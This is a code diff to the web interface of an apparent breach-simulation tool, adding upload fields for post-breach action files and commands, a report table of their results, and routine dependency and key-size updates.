@ -8279,7 +8295,8 @@
"ansi-regex": {
"version": "2.1.1",
"bundled": true,
"dev": true
"dev": true,
"optional": true
},
"aproba": {
"version": "1.2.0",
@ -8322,7 +8339,8 @@
"code-point-at": {
"version": "1.1.0",
"bundled": true,
"dev": true
"dev": true,
"optional": true
},
"concat-map": {
"version": "0.0.1",
@ -8333,7 +8351,8 @@
"console-control-strings": {
"version": "1.1.0",
"bundled": true,
"dev": true
"dev": true,
"optional": true
},
"core-util-is": {
"version": "1.0.2",
@ -8434,7 +8453,7 @@
"dev": true,
"optional": true,
"requires": {
"minimatch": "3.0.4"
"minimatch": "^3.0.4"
}
},
"inflight": {
@ -8450,7 +8469,8 @@
"inherits": {
"version": "2.0.3",
"bundled": true,
"dev": true
"dev": true,
"optional": true
},
"ini": {
"version": "1.3.5",
@ -8462,6 +8482,7 @@
"version": "1.0.0",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
"number-is-nan": "^1.0.0"
}
@ -8484,12 +8505,14 @@
"minimist": {
"version": "0.0.8",
"bundled": true,
"dev": true
"dev": true,
"optional": true
},
"minipass": {
"version": "2.2.4",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
"safe-buffer": "^5.1.1",
"yallist": "^3.0.0"
@ -8508,6 +8531,7 @@
"version": "0.5.1",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
"minimist": "0.0.8"
}
@ -8588,7 +8612,8 @@
"number-is-nan": {
"version": "1.0.1",
"bundled": true,
"dev": true
"dev": true,
"optional": true
},
"object-assign": {
"version": "4.1.1",
@ -8600,6 +8625,7 @@
"version": "1.4.0",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
"wrappy": "1"
}
@ -8685,7 +8711,8 @@
"safe-buffer": {
"version": "5.1.1",
"bundled": true,
"dev": true
"dev": true,
"optional": true
},
"safer-buffer": {
"version": "2.1.2",
@ -8721,6 +8748,7 @@
"version": "1.0.2",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
"code-point-at": "^1.0.0",
"is-fullwidth-code-point": "^1.0.0",
@ -8740,6 +8768,7 @@
"version": "3.0.1",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
"ansi-regex": "^2.0.0"
}
@ -8783,12 +8812,14 @@
"wrappy": {
"version": "1.0.2",
"bundled": true,
"dev": true
"dev": true,
"optional": true
},
"yallist": {
"version": "3.0.2",
"bundled": true,
"dev": true
"dev": true,
"optional": true
}
}
},
@ -9357,7 +9388,8 @@
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/longest/-/longest-1.0.1.tgz",
"integrity": "sha1-MKCy2jj3N3DoKUoNIuZiXtd9AJc=",
"dev": true
"dev": true,
"optional": true
},
"loose-envify": {
"version": "1.3.1",
@ -13872,6 +13904,11 @@
"prop-types": "^15.5.8"
}
},
"react-filepond": {
"version": "7.0.1",
"resolved": "https://registry.npmjs.org/react-filepond/-/react-filepond-7.0.1.tgz",
"integrity": "sha512-PitNM44JP0K5hXnkSYV3HRlkObsWbhqaJRWizMrdHpS3pPz9/iyiOGmRpc+4T4ST3vblmiUTLRYq/+1bDcSqQw=="
},
"react-graph-vis": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-1.0.2.tgz",
@ -17072,7 +17109,8 @@
"safe-buffer": {
"version": "5.1.1",
"bundled": true,
"dev": true
"dev": true,
"optional": true
},
"safer-buffer": {
"version": "2.1.2",
@ -17128,6 +17166,7 @@
"version": "3.0.1",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
"ansi-regex": "2.1.1"
}
@ -17171,12 +17210,14 @@
"wrappy": {
"version": "1.0.2",
"bundled": true,
"dev": true
"dev": true,
"optional": true
},
"yallist": {
"version": "3.0.2",
"bundled": true,
"dev": true
"dev": true,
"optional": true
}
}
},
@ -18321,7 +18362,8 @@
"ansi-regex": {
"version": "2.1.1",
"bundled": true,
"dev": true
"dev": true,
"optional": true
},
"aproba": {
"version": "1.2.0",
@ -18364,7 +18406,8 @@
"code-point-at": {
"version": "1.1.0",
"bundled": true,
"dev": true
"dev": true,
"optional": true
},
"concat-map": {
"version": "0.0.1",
@ -18375,7 +18418,8 @@
"console-control-strings": {
"version": "1.1.0",
"bundled": true,
"dev": true
"dev": true,
"optional": true
},
"core-util-is": {
"version": "1.0.2",
@ -18476,7 +18520,7 @@
"dev": true,
"optional": true,
"requires": {
"minimatch": "3.0.4"
"minimatch": "^3.0.4"
}
},
"inflight": {
@ -18492,7 +18536,8 @@
"inherits": {
"version": "2.0.3",
"bundled": true,
"dev": true
"dev": true,
"optional": true
},
"ini": {
"version": "1.3.5",
@ -18504,6 +18549,7 @@
"version": "1.0.0",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
"number-is-nan": "^1.0.0"
}
@ -18526,12 +18572,14 @@
"minimist": {
"version": "0.0.8",
"bundled": true,
"dev": true
"dev": true,
"optional": true
},
"minipass": {
"version": "2.2.4",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
"safe-buffer": "^5.1.1",
"yallist": "^3.0.0"
@ -18550,6 +18598,7 @@
"version": "0.5.1",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
"minimist": "0.0.8"
}
@ -18630,7 +18679,8 @@
"number-is-nan": {
"version": "1.0.1",
"bundled": true,
"dev": true
"dev": true,
"optional": true
},
"object-assign": {
"version": "4.1.1",
@ -18642,6 +18692,7 @@
"version": "1.4.0",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
"wrappy": "1"
}
@ -18727,7 +18778,8 @@
"safe-buffer": {
"version": "5.1.1",
"bundled": true,
"dev": true
"dev": true,
"optional": true
},
"safer-buffer": {
"version": "2.1.2",
@ -18763,6 +18815,7 @@
"version": "1.0.2",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
"code-point-at": "^1.0.0",
"is-fullwidth-code-point": "^1.0.0",
@ -18782,6 +18835,7 @@
"version": "3.0.1",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
"ansi-regex": "^2.0.0"
}
@ -18825,12 +18879,14 @@
"wrappy": {
"version": "1.0.2",
"bundled": true,
"dev": true
"dev": true,
"optional": true
},
"yallist": {
"version": "3.0.2",
"bundled": true,
"dev": true
"dev": true,
"optional": true
}
}
},

View File

@ -64,10 +64,11 @@
"webpack-dev-server": "^3.1.9"
},
"dependencies": {
"bootstrap": "3.3.7",
"bootstrap": "3.4.1",
"core-js": "^2.5.7",
"downloadjs": "^1.4.7",
"fetch": "^1.1.0",
"filepond": "^4.2.0",
"js-file-download": "^0.4.4",
"json-loader": "^0.5.7",
"jwt-decode": "^2.2.0",
@ -83,6 +84,7 @@
"react-dimensions": "^1.3.0",
"react-dom": "^16.5.2",
"react-fa": "^5.0.0",
"react-filepond": "^7.0.1",
"react-graph-vis": "^1.0.2",
"react-json-tree": "^0.11.0",
"react-jsonschema-form": "^1.0.5",

View File

@ -6,6 +6,7 @@ class AuthComponent extends React.Component {
super(props);
this.auth = new AuthService();
this.authFetch = this.auth.authFetch;
this.jwtHeader = this.auth.jwtHeader();
}
}

View File

@ -78,6 +78,7 @@ class AppComponent extends AuthComponent {
constructor(props) {
super(props);
this.state = {
removePBAfiles: false,
completedSteps: {
run_server: true,
run_monkey: false,
@ -88,6 +89,11 @@ class AppComponent extends AuthComponent {
};
}
// Sets the property that indicates if we need to remove PBA files from state or not
setRemovePBAfiles = (rmFiles) => {
this.setState({removePBAfiles: rmFiles});
};
componentDidMount() {
this.updateStatus();
this.interval = setInterval(this.updateStatus, 5000);

View File

@ -3,15 +3,43 @@ import Form from 'react-jsonschema-form';
import {Col, Nav, NavItem} from 'react-bootstrap';
import fileDownload from 'js-file-download';
import AuthComponent from '../AuthComponent';
import { FilePond } from 'react-filepond';
import 'filepond/dist/filepond.min.css';
class ConfigurePageComponent extends AuthComponent {
constructor(props) {
super(props);
this.PBAwindowsPond = null;
this.PBAlinuxPond = null;
this.currentSection = 'basic';
this.currentFormData = {};
this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
this.uiSchema = {
behaviour: {
custom_PBA_linux_cmd: {
"ui:widget": "textarea",
"ui:emptyValue": ""
},
PBA_linux_file: {
"ui:widget": this.PBAlinux
},
custom_PBA_windows_cmd: {
"ui:widget": "textarea",
"ui:emptyValue": ""
},
PBA_windows_file: {
"ui:widget": this.PBAwindows
},
PBA_linux_filename: {
classNames: "linux-pba-file-info",
"ui:emptyValue": ""
},
PBA_windows_filename: {
classNames: "windows-pba-file-info",
"ui:emptyValue": ""
}
}
};
// set schema from server
this.state = {
schema: {},
@ -19,7 +47,9 @@ class ConfigurePageComponent extends AuthComponent {
lastAction: 'none',
sections: [],
selectedSection: 'basic',
allMonkeysAreDead: true
allMonkeysAreDead: true,
PBAwinFile: [],
PBAlinuxFile: []
};
}
@ -93,6 +123,7 @@ class ConfigurePageComponent extends AuthComponent {
};
resetConfig = () => {
this.removePBAfiles();
this.authFetch('/api/configuration/island',
{
method: 'POST',
@ -110,6 +141,21 @@ class ConfigurePageComponent extends AuthComponent {
});
};
removePBAfiles(){
// We need to clean files from widget, local state and configuration (to sync with bac end)
if (this.PBAwindowsPond !== null){
this.PBAwindowsPond.removeFile();
}
if (this.PBAlinuxPond !== null){
this.PBAlinuxPond.removeFile();
}
let request_options = {method: 'DELETE',
headers: {'Content-Type': 'text/plain'}};
this.authFetch('/api/fileUpload/PBAlinux', request_options);
this.authFetch('/api/fileUpload/PBAwindows', request_options);
this.setState({PBAlinuxFile: [], PBAwinFile: []});
}
onReadFile = (event) => {
try {
this.setState({
@ -150,13 +196,87 @@ class ConfigurePageComponent extends AuthComponent {
});
};
PBAwindows = () => {
return (<FilePond
server={{ url:'/api/fileUpload/PBAwindows',
process: {headers: {'Authorization': this.jwtHeader}},
revert: {headers: {'Authorization': this.jwtHeader}},
restore: {headers: {'Authorization': this.jwtHeader}},
load: {headers: {'Authorization': this.jwtHeader}},
fetch: {headers: {'Authorization': this.jwtHeader}}
}}
files={this.getWinPBAfile()}
onupdatefiles={fileItems => {
this.setState({
PBAwinFile: fileItems.map(fileItem => fileItem.file)
})
}}
ref={ref => this.PBAwindowsPond = ref}
/>)
};
PBAlinux = () => {
return (<FilePond
server={{ url:'/api/fileUpload/PBAlinux',
process: {headers: {'Authorization': this.jwtHeader}},
revert: {headers: {'Authorization': this.jwtHeader}},
restore: {headers: {'Authorization': this.jwtHeader}},
load: {headers: {'Authorization': this.jwtHeader}},
fetch: {headers: {'Authorization': this.jwtHeader}}
}}
files={this.getLinuxPBAfile()}
onupdatefiles={fileItems => {
this.setState({
PBAlinuxFile: fileItems.map(fileItem => fileItem.file)
})
}}
ref={ref => this.PBAlinuxPond = ref}
/>)
};
getWinPBAfile(){
if (this.state.PBAwinFile.length !== 0){
return ConfigurePageComponent.getMockPBAfile(this.state.PBAwinFile[0])
} else if (this.state.configuration.monkey.behaviour.PBA_windows_filename){
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_windows_filename)
}
}
getLinuxPBAfile(){
if (this.state.PBAlinuxFile.length !== 0){
return ConfigurePageComponent.getMockPBAfile(this.state.PBAlinuxFile[0])
} else if (this.state.configuration.monkey.behaviour.PBA_linux_filename) {
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_linux_filename)
}
}
static getFullPBAfile(filename){
let pbaFile = [{
source: filename,
options: {
type: 'limbo'
}
}];
return pbaFile
}
static getMockPBAfile(mockFile){
let pbaFile = [{
source: mockFile.name,
options: {
type: 'limbo'
}
}];
pbaFile[0].options.file = mockFile;
return pbaFile
}
render() {
let displayedSchema = {};
if (this.state.schema.hasOwnProperty('properties')) {
displayedSchema = this.state.schema['properties'][this.state.selectedSection];
displayedSchema['definitions'] = this.state.schema['definitions'];
}
return (
<Col xs={12} lg={8}>
<h1 className="page-title">Monkey Configuration</h1>
@ -178,9 +298,11 @@ class ConfigurePageComponent extends AuthComponent {
}
{ this.state.selectedSection ?
<Form schema={displayedSchema}
uiSchema={this.uiSchema}
formData={this.state.configuration[this.state.selectedSection]}
onSubmit={this.onSubmit}
onChange={this.onChange}>
onChange={this.onChange}
noValidate={true}>
<div>
{ this.state.allMonkeysAreDead ?
'' :
@ -243,7 +365,6 @@ class ConfigurePageComponent extends AuthComponent {
</div>
: ''}
</div>
</Col>
);
}

View File

@ -2,6 +2,7 @@ import React from 'react';
import {Button, Col} from 'react-bootstrap';
import BreachedServers from 'components/report-components/BreachedServers';
import ScannedServers from 'components/report-components/ScannedServers';
import PostBreach from 'components/report-components/PostBreach';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {edgeGroupToColor, options} from 'components/map/MapOptions';
import StolenPasswords from 'components/report-components/StolenPasswords';
@ -403,15 +404,17 @@ class ReportPageComponent extends AuthComponent {
generateReportRecommendationsSection() {
return (
<div id="recommendations">
<h3>
Domain related recommendations
</h3>
{/* Checks if there are any domain issues. If there are more then one: render the title. Otherwise,
* don't render it (since the issues themselves will be empty. */}
{Object.keys(this.state.report.recommendations.domain_issues).length !== 0 ?
<h3>Domain related recommendations</h3> : null }
<div>
{this.generateIssues(this.state.report.recommendations.domain_issues)}
</div>
<h3>
Machine related Recommendations
</h3>
{/* Checks if there are any issues. If there are more then one: render the title. Otherwise,
* don't render it (since the issues themselves will be empty. */}
{Object.keys(this.state.report.recommendations.issues).length !== 0 ?
<h3>Machine related recommendations</h3> : null }
<div>
{this.generateIssues(this.state.report.recommendations.issues)}
</div>
@ -460,6 +463,9 @@ class ReportPageComponent extends AuthComponent {
<div style={{marginBottom: '20px'}}>
<BreachedServers data={this.state.report.glance.exploited}/>
</div>
<div style={{marginBottom: '20px'}}>
<PostBreach data={this.state.report.glance.scanned}/>
</div>
<div style={{marginBottom: '20px'}}>
<ScannedServers data={this.state.report.glance.scanned}/>
</div>

View File

@ -0,0 +1,82 @@
import React from 'react';
import ReactTable from 'react-table'
let renderArray = function(val) {
return <span>{val.map(x => <span> {x}</span>)}</span>;
};
let renderIpAddresses = function (val) {
return <span> {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} </span>;
};
let renderMachine = function (data) {
return <div>{data.label} ( {renderIpAddresses(data)} )</div>
};
let renderPbaResults = function (results) {
let pbaClass = "";
if (results[1]){
pbaClass="pba-success"
} else {
pbaClass="pba-danger"
}
return <div className={pbaClass}> {results[0]} </div>
};
const subColumns = [
{id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }},
{id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'whiteSpace': 'unset' }}
];
let renderDetails = function (data) {
let defaultPageSize = data.length > pageSize ? pageSize : data.length;
let showPagination = data.length > pageSize;
return <ReactTable
data={data}
columns={subColumns}
defaultPageSize={defaultPageSize}
showPagination={showPagination}
style={{"background-color": "#ededed"}}
/>
};
const columns = [
{
Header: 'Post breach actions',
columns: [
{id: 'pba_machine', Header:'Machine', accessor: x => renderMachine(x)}
]
}
];
const pageSize = 10;
class PostBreachComponent extends React.Component {
constructor(props) {
super(props);
}
render() {
let pbaMachines = this.props.data.filter(function(value, index, arr){
return ( value.pba_results !== "None" && value.pba_results.length > 0);
});
let defaultPageSize = pbaMachines.length > pageSize ? pageSize : pbaMachines.length;
let showPagination = pbaMachines > pageSize;
return (
<div className="data-table-container">
<ReactTable
columns={columns}
data={pbaMachines}
showPagination={showPagination}
defaultPageSize={defaultPageSize}
SubComponent={row => {
return renderDetails(row.original.pba_results);
}}
/>
</div>
);
}
}
export default PostBreachComponent;

View File

@ -15,6 +15,12 @@ export default class AuthService {
return this._authFetch(url, options);
};
jwtHeader = () => {
if (this._loggedIn()) {
return 'JWT ' + this._getToken();
}
};
hashSha3(text) {
let hash = new SHA3(512);
hash.update(text);

View File

@ -163,6 +163,18 @@ body {
* Configuration Page
*/
.linux-pba-file-info, .windows-pba-file-info {
display: none
}
.filepond--root li {
overflow: visible;
}
.filepond--root * {
font-size: 1.04em;
}
.rjsf .form-group .form-group {
margin-left: 2em;
}
@ -412,6 +424,14 @@ body {
top: 30%;
}
.pba-danger {
background-color: #ffc7af;
}
.pba-success {
background-color: #afd2a2;
}
/* Print report styling */
@media print {

View File

@ -1,6 +1,6 @@
#!/bin/bash
cd /var/monkey/monkey_island
openssl genrsa -out cc/server.key 1024
openssl genrsa -out cc/server.key 2048
openssl req -new -key cc/server.key -out cc/server.csr -subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com"
openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt

View File

@ -1,5 +1,5 @@
python-dateutil
tornado
tornado==5.1.1
werkzeug
jinja2
markupsafe
@ -18,6 +18,7 @@ boto3
botocore
PyInstaller
awscli
bson
cffi
virtualenv
wheel